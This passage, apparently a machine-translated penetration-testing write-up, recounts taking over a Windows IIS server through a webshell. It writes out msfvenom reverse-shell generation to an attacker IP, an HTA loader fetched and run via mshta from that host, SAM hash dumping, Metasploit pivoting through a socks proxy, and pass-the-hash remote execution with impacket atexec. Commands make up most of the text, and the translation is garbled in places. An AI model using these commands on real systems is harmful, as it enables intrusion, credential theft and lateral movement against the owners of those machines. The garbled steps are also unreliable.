traffic has been opened, but when using the proxychains proxy tool to execute atexec, the following error occurred, and no command execution echoes, and the file cannot be written if the whoami1.txt command is executed. Of course, this may be just an individual case in this environment, but we can judge whether the execution is successful by ping dnslog command. 0x06 Summary 1. Successfully connect to a sentence through Grass 2. Execute the systeminfo command to discover the directory windows2008r2 SP13. Execute the command whoami to discover the iis permission, execute netstat -ano, find 21, 80, 445, 801, 3306, and other ports open 4. By executing the command tasklist/svc, through online soft killing process comparison, it is found that there are guardians, turf, security dog protection software, as well as databases mysql and G6FTP5 in the target system. Execute the following command to generate shellcode and execute listening msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16 lport=443 -f raw /tmp/shellcode.bin6.View shellcode.bin code and output code through base64 cat /tmp/shellcode.bin | base64 -w 0msf6 set payload windows/meterpreter/reverse_tcpmsf6 set lhost 155.124.145.16msf6 set lport 443msf6 exploit 7. Customize and create a new exp.hta, and then replace the shellcode in the exp.hta file with the shellcode of MSF. script language='VBScript'Dim binary:binary='rundll32.exe'dim code:code='shecode.bin content base64'8. Then use Python on VPS to enable a temporary web for remote call to python -m SimpleHTTPServer 8888python3 -m http.server 88889. Upload APX Malaysia through Grass, and execute cmdpath:c:\windows\system32\cmd.exeargument:/c mshta http://155.124.145.16/exp.hta10. When the SAM registry key has Users or Everyone's read permission, you can use the hashdump module under MSF to export the hash. meterpreter getuidmeterpreter load powershellmeterpreter powershell_shellPS Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter run post/windows/gather/hashdump11. The host hash has been exported using the SAM registry key permission issue, but it cannot be decrypted 12. Here we first add the current MSF session to the virtual route meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bg13. Use the socks_proxy module to enable a socks5 proxy. msf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run14.Kali's proxychains configuration is in /etc/proxychains.conf by default, and the proxychains4 configuration compiled and installed by itself is in /src/proxychains.conf in the root directory. I won't explain how to modify it. There are examples in the configuration file. [root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf15. When using the proxychains proxy tool to execute atexec, the following error may occur, and no command execution echoes, but we can first use the Ping 9o**mf.dnslog.cn command to see if the execution is successful. If DNSLog receives data, it means that it is successful proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.***.230 'cmd /c ping 9o**mf.dnslog.cn'16. Start another command terminal to enable MSF listening, and then use the proxychains proxy tool to execute atexec. Here you can get the target host SYSTEMmsf6 auxiliary(server/socks_proxy) sessions -i 1meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bgmsf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run original link: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==mid=2247488543idx=1sn=0e300f65f1425e035fcd8cdb9f3dd38cchksm=cfa6b00cf8d1391aeaae7cb2e7839f041e4c1264df495cbc5d91963820ca617872c95758e063scene=178cur_album_id=1553386251775492098#rd